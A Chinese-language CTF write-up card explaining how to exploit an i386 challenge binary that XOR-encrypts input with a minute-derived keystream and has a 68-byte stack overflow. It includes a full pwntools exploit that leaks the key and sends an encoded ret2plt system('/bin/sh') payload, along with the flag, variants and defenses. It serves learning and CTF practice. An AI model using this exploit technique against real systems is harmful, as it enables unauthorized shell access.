按分钟派生 XOR 流 + 栈溢出 ROP:先泄 keystream 再编码 payload
ctf/pwn · verified
一句话结论
i386 程序把用户输入用“当前分钟”派生的 4 字节递增 XOR 流加密,且 read_user_input() 存在偏移 68 的栈溢出;先发送 40 个 \x00 让程序回显 keystream(前 4 字节即 key),再用同一分钟的 key 编码 A*68 + system@plt + main + "/bin/sh",发送后等回显结束即可拿 shell 读 flag。
原理
- 时间派生密钥:程序按当前时间(分钟)生成 32 位 key;对输入每 4 字节一块,用
p32(key)异或,然后key += 1。同一分钟内 key 相同,跨分钟会变。 - keystream 泄露:加密是 XOR,发送 40 个
\x00后,程序回显的 40 字节就是 keystream 本身;前 4 字节即初始 key,后续每 4 字节递增 1。 - 栈溢出:
read_user_input()的缓冲区到返回地址偏移 68;输入先被解密再read/strcpy,所以溢出 payload 必须先按 keystream 编码。 - ROP:i386 参数在栈上;payload 布局
[A*68][system@plt][main]["/bin/sh"],system返回后回main保持稳定;/bin/sh用二进制里现成字符串0x0804a018。 - 时序:泄露 key 和发送 exploit 必须在同一分钟;脚本比较两次的
Currently the time is:行,不同就重试。 - 回显:程序会先 write 回前
0x28字节;等回显结束再发cat flag...,避免命令被当作输入吞掉。 - 结果:
texsaw{7h4nk_u_f0r_y0ur_71m3}。
触发条件
- 程序对输入做时间/种子派生的 XOR 流加密,密钥可预测或可泄露。
- 存在栈溢出且能控制返回地址(无 canary 或可绕过)。
- 能观察程序回显(用于泄 keystream/同步)。
- 目标有
system@plt和/bin/sh字符串,或可 ret2libc。
利用步骤
- 逆向确认 key 派生(时间/分钟/秒)、XOR 流递增规则、溢出偏移。
- 发送
\x00长度 ≥ 需要的 keystream 长度,读取回显;前 4 字节为 key。 - 构造 ROP payload:
padding(offset) + system@plt + 返回地址 + /bin/sh。 - 用泄露的 key 按同样规则编码 payload(每 4 字节 XOR
p32(key),key 递增)。 - 在同一时间窗口内发送编码后的 payload;读取
0x28字节回显。 - 回显结束后发送
cat flag.txt || cat /flag,读取 flag;跨分钟则重试。
PoC
from pwn import *
context.arch = "i386"
context.os = "linux"
HOST, PORT = "chals.example.org", 3000
OFFSET = 68
LEAK_LEN = 0x28
SYSTEM_PLT = 0x080490b0
MAIN = 0x0804935f
BINSH = 0x0804a018
def encode_with_key(data, key):
out = bytearray(data)
k = key & 0xffffffff
for i in range(0, len(out), 4):
block = p32(k)
for j in range(4):
out[i + j] ^= block[j]
k = (k + 1) & 0xffffffff
return bytes(out)
def leak_key():
io = remote(HOST, PORT)
shown = io.recvuntil(b"Currently the time is: ")
t = io.recvline()
io.send(b"\x00" * LEAK_LEN)
leak = io.recvn(LEAK_LEN)
key = u32(leak[:4])
io.close()
return t, key
while True:
t1, key = leak_key()
io = remote(HOST, PORT)
io.recvuntil(b"Currently the time is: ")
t2 = io.recvline()
if t1 != t2:
io.close(); continue
payload = flat(b"A" * OFFSET, p32(SYSTEM_PLT), p32(MAIN), p32(BINSH))
assert len(payload) % 4 == 0
io.send(encode_with_key(payload, key))
io.recvn(LEAK_LEN) # 等程序回显完
io.sendline(b"cat flag.txt || cat /flag || cat /home/ctf/flag.txt; exit")
print(io.recvall(timeout=2).decode(errors="ignore"))
break
变体与关联
- 密钥派生变体:时间(分钟/秒)、
time(NULL)种子、LCG/MT19937、PID/uptime;先确认可预测性。 - 泄露变体:发送全 0 泄 keystream;发送已知明文对比;利用回显/错误消息。
- 溢出变体:
gets/read/strcpy;i386 栈传参 vs amd64 寄存器传参;ret2plt/ret2libc。 - 关联卡片:[[binary-pwn-stack-ret2text-win-plus-one-align]](ret2text)、[[binary-pwn-format-string-canary-libc-leak-rop-system]](泄露+ROP)、[[crypto-prng-observable-pid-uptime-derived-admin-secret-token-forgery]](可预测种子派生密钥)。
- 边界:若 key 不可预测(CSPRNG)或跨分钟无法对齐,泄露/重放失败;若开启 canary/ASLR 需额外泄露。
检测与防御
- 防御:不要用时间/可预测种子做加密密钥;使用 CSPRNG/服务端密钥;开启 canary、ASLR、NX、PIE。
- 检测信号:程序按分钟变化行为;输入全 0 回显非零;栈溢出偏移固定;
system@plt//bin/sh可用。 - CTF 技巧:先泄 keystream 再编码 payload;注意同一时间窗口和回显同步。